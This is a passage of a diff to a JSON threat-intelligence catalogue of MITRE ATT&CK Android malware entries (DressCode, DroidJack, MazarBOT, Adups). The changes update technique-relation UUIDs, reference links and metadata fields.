"meta": { "external_id": "S0300", - "mitre_platforms": [ - "Android" - ], "refs": [ "http://blog.trendmicro.com/trendlabs-security-intelligence/dresscode-potential-impact-enterprises/", "https://attack.mitre.org/software/S0300" - ], - "synonyms": [ - "DressCode" ] }, "related": [ @@ -9502,7 +9332,7 @@ }, "related": [ { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9516,14 +9346,7 @@ "type": "uses" }, { - "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9536,6 +9359,13 @@ ], "type": "uses" }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6", "tags": [ @@ -9543,13 +9373,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -9557,13 +9380,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ea3a8c25-4adb-4538-bf11-55259bdba15f", "tags": [ @@ -12410,13 +12226,20 @@ "refs": [ "https://attack.mitre.org/software/S0320", "https://www.proofpoint.com/us/threat-insight/post/droidjack-uses-side-load-backdoored-pokemon-go-android-app", - "https://www.zscaler.com/blogs/research/super-mario-run-malware-2-–-droidjack-rat" + "https://www.zscaler.com/blogs/security-research/super-mario-run-malware-2-droidjack-rat" ], "synonyms": [ "DroidJack" ] }, "related": [ + { + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -12425,14 +12248,7 @@ "type": "uses" }, { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12444,13 +12260,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1", @@ -12790,14 +12599,7 @@ }, "related": [ { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", + "dest-uuid": "d916f176-a1ca-4a78-9fdd-4058bc28162e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12811,7 +12613,7 @@ "type": "uses" }, { - "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13236,6 +13038,13 @@ ] }, "related": [ + { + "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", "tags": [ @@ -13251,14 +13060,7 @@ "type": "uses" }, { - "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "dest-uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13272,14 +13074,14 @@ "type": "uses" }, { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13933,14 +13735,7 @@ }, "related": [ { - "dest-uuid": "52651225-0b3a-482d-aa7e-10618fd063b5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d", + "dest-uuid": "0f4fb01b-d57a-4375-b7a2-342c9d3248f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15368,14 +15163,14 @@ "type": "uses" }, { - "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15389,34 +15184,21 @@ "description": "[MazarBOT](https://attack.mitre.org/software/S0303) is Android malware that was distributed via SMS in Denmark in 2016. (Citation: Tripwire-MazarBOT)", "meta": { "external_id": "S0303", - "mitre_platforms": [ - "Android" - ], "refs": [ "https://attack.mitre.org/software/S0303", "https://www.tripwire.com/state-of-security/security-data-protection/android-malware-sms/" - ], - "synonyms": [ - "MazarBOT" ] }, "related": [ { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15799,28 +15581,21 @@ "type": "uses" }, { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15841,14 +15616,14 @@ "type": "uses" }, { - "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17565,35 +17340,22 @@ "description": "[Adups](https://attack.mitre.org/software/S0309) is software that was pre-installed onto Android devices, including those made by BLU Products. The software was reportedly designed to help a Chinese phone manufacturer monitor user behavior, transferring sensitive data to a Chinese server. (Citation: NYTimes-BackDoor) (Citation: BankInfoSecurity-BackDoor)", "meta": { "external_id": "S0309", - "mitre_platforms": [ - "Android" - ], "refs": [ "http://www.bankinfosecurity.com/did-chinese-spyware-linger-in-us-phones-a-9534", "https://attack.mitre.org/software/S0309", "https://www.nytimes.com/2016/11/16/us/politics/china-phones-software-security.html" - ], - "synonyms": [ - "Adups" ] }, "related": [ { - "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17607,7 +17369,14 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18191,7 +17960,7 @@ }, "related": [ { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18205,28 +17974,7 @@ "type": "uses" }, { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18239,6 +17987,13 @@ ], "type": "uses" }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -18253,6 +18008,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -18266,13 +18028,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "a76b837b-93cc-417d-bf28-c47a6a284fa4", @@ -18510,6 +18265,20 @@ ], "type": "uses" }, + { + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", "tags": [ @@ -18517,20 +18286,6 @@ ], "type": "uses" }, - { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "62adb627-f647-498e-b4cc-41499361bacb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -18538,13 +18293,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -18566,13 +18314,6 @@ ], "type": "uses" }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "948a447c-d783-4ba0-8516-a64140fcacd5", "tags": [ @@ -18587,6 +18328,20 @@ ], "type": "uses" }, + { + "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", "tags": [ @@ -18602,7 +18357,14 @@ "type": "uses" }, { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18621,20 +18383,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "3049b2f2-e323-4cdb-91cb-13b37b904cbb", @@ -18967,49 +18715,42 @@ }, "related": [ { - "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "dest-uuid": "1d44f529-6fe6-489f-8a01-6261ac43f05e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "51636761-2e35-44bf-9e56-e337adf97174", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19036,6 +18777,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -19051,14 +18799,14 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19310,6 +19058,13 @@ ] }, "related": [ + { + "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -19317,6 +19072,13 @@ ], "type": "uses" }, + { + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", "tags": [ @@ -19332,21 +19094,7 @@ "type": "uses" }, { - "dest-uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "62adb627-f647-498e-b4cc-41499361bacb", + "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19366,20 +19114,6 @@ ], "type": "uses" }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -19388,28 +19122,21 @@ "type": "uses" }, { - "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19443,6 +19170,20 @@ ], "type": "uses" }, + { + "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -19450,6 +19191,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e2c2249a-eb82-4614-8dd4-9c514dde65e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -19458,7 +19206,7 @@ "type": "uses" }, { - "dest-uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", + "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19604,6 +19352,13 @@ ] }, "related": [ + { + "dest-uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -19612,28 +19367,21 @@ "type": "uses" }, { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19647,14 +19395,7 @@ "type": "uses" }, { - "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", + "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19675,14 +19416,7 @@ "type": "uses" }, { - "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19696,7 +19430,7 @@ "type": "uses" }, { - "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19716,6 +19450,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -19724,14 +19465,7 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20212,6 +19946,13 @@ ], "type": "uses" }, + { + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", "tags": [ @@ -20220,7 +19961,7 @@ "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20233,6 +19974,13 @@ ], "type": "uses" }, + { + "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ @@ -20255,28 +20003,14 @@ "type": "uses" }, { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20297,7 +20031,7 @@ "type": "uses" }, { - "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20318,14 +20052,7 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20556,14 +20283,7 @@ }, "related": [ { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20583,13 +20303,6 @@ ], "type": "uses" }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -20598,7 +20311,7 @@ "type": "uses" }, { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -20618,6 +20331,20 @@ ], "type": "uses" }, + { + "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -20631,20 +20358,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "f666e17c-b290-43b3-8947-b96bd5148fbb", @@ -21290,14 +21003,14 @@ }, "related": [ { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "16d73b64-5681-4ea0-9af4-4ad86f7c96e8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21310,13 +21023,6 @@ ], "type": "uses" }, - { - "dest-uuid": 